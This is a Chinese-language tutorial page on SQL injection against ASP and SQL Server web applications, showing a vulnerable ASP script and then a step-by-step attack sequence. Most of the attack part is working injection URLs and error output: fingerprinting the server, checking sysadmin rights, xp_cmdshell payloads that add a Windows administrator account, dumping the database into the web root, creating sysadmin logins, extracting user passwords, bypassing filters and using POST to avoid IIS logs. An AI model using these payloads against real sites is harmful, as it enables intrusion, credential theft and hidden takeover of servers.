|
![]() |
名片设计 CorelDRAW Illustrator AuotoCAD Painter 其他软件 Photoshop Fireworks Flash |
|
随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相称大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判定,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL注入(SQL Injection)。 SQL 注入攻击是一个常规性的攻击,它可以答应一些不法用户检索你的数据,改变服务器的设置,或者在你不小心的时候黑掉你的服务器。SQL 注入攻击不是SQL Server问题,而是不适当的程序。假如你想要运行这些程序的话,你必须明白这冒着一定的风险。 一、原理 了解SQL注入之前先要了解一些基本的B/S模式应用程序的知识,以及浏览器与服务器交互的相关知识。根据国情,海内的网站用ASP+Access或SQL Server的占70%以上,PHP+MySQL占20%,其他的不足10%。对于ASP+SQL Server的应用程序结构,一个ASP程序实际上是SQL Server的一个客户端,它需要一个合法的SQL登录名和密码去连接SQL Server数据库。下面一段代码是典型的在ASP中连接SQL SERVER的例子: <%rServer="IBM-WEB-01" \\\'设置SQL SERVER服务器地址 rUid="webuser" \\\'设置SQL SERVER登录名 rPwd="xxxxxxxxf" \\\'设置SQL SERVER登录密码 rDatabase="sitelog" \\\'设置SQL SERVER数据库名 set conn=Server.CreateObject("ADODB.Connection") strconn="driver={sql server};server=" & rServer & ";uid=" & rUid & ";pwd=" & rPWD & ";database=" & rDatabase conn.open strconn%> SQL 注入的脆弱点发生在程序开发员构造一个WHERE 子句伴随着用户的输入的时候。比如,下面列出一个简朴的ASP程序article_show.asp,它的功能是跟据GET获得的参数ID显示数据库info_article表中相应ID值的文章内容。 <%strID=Trim(Request.QueryString("ID")) strSQL="select * from info_article where ID=" & strID set rs=server.CreateObject("ADODB.Recordset") rs.open strSQL,conn,1,3%> <table width="100%" border="0" cellpadding="10" cellspacing="1" class="table1"> <tr class="trtitle"> <td><div align="center"><%=rs("title")%><br></div></td> </tr> <tr class="trcontent"> <td><%=rs("content")%></td> </tr> </table> 请注重strSQL="select * from info_article where ID=" & strID这一句。实际运行时,客户端应当使用类似http://www.abc.com/article_show.asp?ID=12这样的URL访问此ASP程序,当ID为数字12时,strID的值为字符型“12”,VBScript中“&”运算符可以连接任意类型的数据,经过&的连接后,可以得到strSQL字串的值:select * from info_article where ID=12,可以看出这是一个正常的SQL语句。VBScript是一种弱类型语言,不需声明变量的类型(甚至不需声明变量),这有时会给编程者带来方便,但也轻易在编程过程中产生不少可被利用的漏洞。正由于在此程序中没有限定变量strID的类型,因而使这个程序存在SQL注入的漏洞。 二、测试 现在试着在浏览器中输入下面的URL“http://www.abc.com/article_show.asp?ID=12’”,此时类比上面的介绍得到strSQL字串的值为:select * from info_article where ID=12’,这在SQL Server中是一句非法的查询语句。这时服务器将返回如下的错误: Microsoft OLE DB Provider for ODBC Drivers 错误 \\\'80040e14\\\' [Microsoft][ODBC SQL Server Driver][SQL Server]字符串 \\\'\\\' 之前有未闭合的引号。 出现这种错误就已经说明这个网站百分百可以进行注入攻击了。 有些时候服务器显示“处理URL时服务器上出错”是因为IIS设置中关闭了向客户端发送具体出错信息,这时不一定不能注入,但相对来讲困难极大,只能碰运气了。 有些时候服务器显示的内容还是ID=12的内容,没有任何出错信息,这可能是开发者过滤掉了单引号,可以使用下面的方式进行尝试:“article_show.asp?ID=12 and 1=2”,此时假如出现下面的错误,还是有可能进行注入的。 错误 \\\'80020009\\\' 发生意外。 注重:出现下面的错误信息时肯定无法完成注入: Microsoft VBScript 运行时错误 错误 \\\'800a000d\\\' 类型不匹配: \\\'cint\\\' Microsoft VBScript 运行时错误 错误 \\\'800a000d\\\' 类型不匹配: \\\'clng\\\' Microsoft VBScript 运行时错误 错误 \\\'800a000d\\\' 类型不匹配: \\\'cdbl\\\' Microsoft VBScript 运行时错误 错误 \\\'800a000d\\\' 类型不匹配: \\\'c\\\' 非法的参数值。 请输入准确的参数值。 ADODB.Parameter error \\\'800a0d5d\\\' Application uses a value of the wrong type for the current operation. 三、搜集信息 确定可以实施注入攻击后,可以使用下面的方式对服务器进行测试。 测试SQL Server版本: article_show.asp?ID=(SELECT @@VERSION) Microsoft OLE DB Provider for ODBC Drivers 错误 \\\'80040e07\\\' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 \\\'Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 4) \\\' 转变为数据类型为 int 的列时发生语法错误。 测试SQL Server当前的登录用户名: article_show.asp?ID=(USER_NAME()) Microsoft OLE DB Provider for ODBC Drivers 错误 \\\'80040e07\\\' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 \\\'webuser\\\' 转变为数据类型为 int 的列时发生语法错误。 注重:假如是以sa登录的在这里将显示dbo。 测试SQL Server当前使用的数据库名称: article_show.asp?ID=(DB_NAME()) Microsoft OLE DB Provider for ODBC Drivers 错误 \\\'80040e07\\\' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 \\\'sitelog\\\' 转变为数据类型为 int 的列时发生语法错误。 测试当前用户是否为“sysadmin”组成员 SELECT IS_SRVROLEMEMBER(\\\'sysadmin\\\')这句SQL语句可用来测试当前登录的用户是否为sysadmin的服务器角色,假如是将返回值1,不是的话返回值0。这里要将其转换为字符型数据才能看到详细数值。因此写下面的URL:(其中char(115)为字符’s’,%2B为加号(+)的UTF-8编码。) article_show.asp?ID=(SELECT CHAR(115) %2B CAST(IS_SRVROLEMEMBER(\\\'sysadmin\\\') AS VARCHAR(2))) Microsoft OLE DB Provider for ODBC Drivers 错误 \\\'80040e07\\\' [Microsoft][ODBC SQL Server Driver][SQL Server]将 varchar 值 \\\'s0\\\' 转变为数据类型为 int 的列时发生语法错误。 假如显示s0则不是’sysadmin’组成员,假如是’1’是’sysadmin’组成员。 测试当前用户是否为“db_owner”组成员。 article_show.asp?ID=(SELECT CHAR(115) %2B CAST(IS_MEMBER(\\\'db_owner\\\') AS VARCHAR(2))) Microsoft OLE DB Provider for ODBC Drivers 错误 \\\'80040e07\\\' [Microsoft][ODBC SQL Server Driver][SQL Server]将 varchar 值 \\\'s1\\\' 转变为数据类型为 int 的列时发生语法错误。 至此已经获取了许多有价值的信息。假如测试出当前用户为sysadmin组成员的话,有很大的可能性可以在这台SQL Server上运行cmd shell。假如是db_owner则可以对当前连接的数据库进行任意的操作,如新建表、删除表、插入数据、读取数据等等。 四、sysadmin权限的用户可进行的操作 注:以下不再具体介绍服务器的出错信息,只列出可用的SQL语句。 添加一个NT用户: article_show.asp?ID=12;EXEC master..xp_cmdshell "net user name password /add"-- 将该用户添加到administrators组 article_show.asp?ID=12;EXEC master..xp_cmdshell "net localgroup name administrators /add"-- 将数据库做一个完整的备份放在网站目录下供下载: article_show.asp?ID=12;BACKUP DATABASE 数据库名 to DISK=\\\'c:Inetpubwwwroot1.db\\\';-- 添加一个SQL Server登录: article_show.asp?ID=12;EXEC sp_addlogin \\\'uname\\\',\\\'pwd\\\'-- 将该登录添加为db_owner角色: article_show.asp?ID=12;EXEC sp_adduser \\\'uname\\\',\\\'登录名\\\',\\\'db_owner\\\'-- 将该登录添加为sysadmin固定服务器角色: article_show.asp?ID=12;EXEC sp_addsrvrolemember \\\'uname\\\',\\\'sysadmin\\\'-- 相反操作: 将该登录从sysadmin固定服务器角色中删除: article_show.asp?ID=12;EXEC sp_dropsrvrolemember \\\'uname\\\',\\\'sysadmin\\\'-- 将该登录从db_owner角色中删除: article_show.asp?ID=12;EXEC sp_dropuser \\\'uname\\\' 删除该登录: article_show.asp?ID=12;EXEC sp_droplogin \\\'uname\\\' 以上操作一般服务器会出现下面的出信息或者正常显示ID=12的网页: 错误 \\\'80020009\\\' 发生意外。 五、普通权限用户可进行的操作: 普通用户不能使用第四节中列出的命令,但仍可读出数据库中所有的数据。 使用下面的语句列出数据库中第一个表的名称: article_show.asp?ID=(SELECT TOP 1 NAME FROM SYSOBJECTS WHERE XTYPE=\\\'U\\\' AND STATUS>0 AND NAME NOT IN(\\\'\\\')) 得到第一个表名为info_files后,用下面语句得到第二个表名: article_show.asp?ID=(SELECT TOP 1 NAME FROM SYSOBJECTS WHERE XTYPE=\\\'U\\\' AND STATUS>0 AND NAME NOT IN(\\\'info_files\\\')) 得到第二个表名为info_articles后,用下面语句得到第三个表名: article_show.asp?ID=(SELECT TOP 1 NAME FROM SYSOBJECTS WHERE XTYPE=\\\'U\\\' AND STATUS>0 AND NAME NOT IN(\\\'info_files\\\',\\\'info_articles\\\')) 假设得到第三个表名为info_users 使用下面语句得到info_users表中第一个字段的名称: article_show.asp?ID=(SELECT COL_NAME(OBJECT_ID(\\\'info_users\\\'),1) 使用下面语句得到info_users表中第二个字段名称: article_show.asp?ID=(SELECT COL_NAME(OBJECT_ID(\\\'info_users\\\'),2) 假设得到info_users表的结构为ID,username,password,那么,使用下面的语句得到第一个记录的username值: article_show.asp?ID=(SELECT TOP 1 username FROM info_users) 使用下面语句得到第一个记录的password值: article_show.asp?ID=(SELECT TOP 1 password FROM info_users) 使用下面的语句得到第一个记录的ID值: article_show.asp?ID=(SELECT TOP 1 CHAR(115) %2B CAST(ID AS VARCHAR(2)) FROM info_users) 六、附加说明 也有很多开发者用过滤’号的方式来“防止”注入漏洞,但还是可以利用相关的函数,达到绕过程序限制的目的。举个例子来看看怎么改造这些语句: 简朴的如where xtype=’U’,字符U对应的ASCII码是85,所以可以用where xtype=char(85)代替;假如字符是中文的,比如where name=’用户’,可以用where name=nchar(29992)+nchar(25143)代替。 有些人会过滤Select、Update、Delete这些要害字,但偏偏忘记区分大小写,所以大家可以用selecT这样尝试一下。 在猜不到字段名时,不妨看看网站上的登录表单,一般为了方便起见,字段名都与表单的输入框取一样的名字。 特殊注重:地址栏的+号传入程序后解释为空格,%2B解释为+号,%25解释为%号,详细可以参考URLEncode的相关介绍。 用Get方式注入时,IIS会记录你所有的提交字符串,对Post方式做则不记录,所以能用Post的网址尽量不用Get。 SQL Server的注入攻击绝非仅限上面介绍的这些,可以用自己的方式构成很多巧妙的SQL语句得到想要的信息。安装SQL Server后可以查阅“SQL Server联机从书”,这里能够找到SQL Server所有的语句、函数、系统存储过程和安全性方面的文档,是异常好的参考资料。 返回类别: 教程 上一教程: ASP正则表达式在UBB论坛中的应用 下一教程: 向 WEB 窗体页添加 REPEATER 控件 您可以阅读与"基于SQL SERVER的WEB应用程序注入攻击具体介绍"相关的教程: · 编写通用的ASP防SQL注入攻击程序 · 用的ASP防SQL注入攻击程序 · ASP防SQL注入攻击程序 · 在VS.NET中编写Web应用程序(三) · 在VS.NET中编写Web应用程序(一) |
![]() ![]() |
快精灵印艺坊 版权所有 |
首页![]() ![]() ![]() ![]() ![]() ![]() ![]() |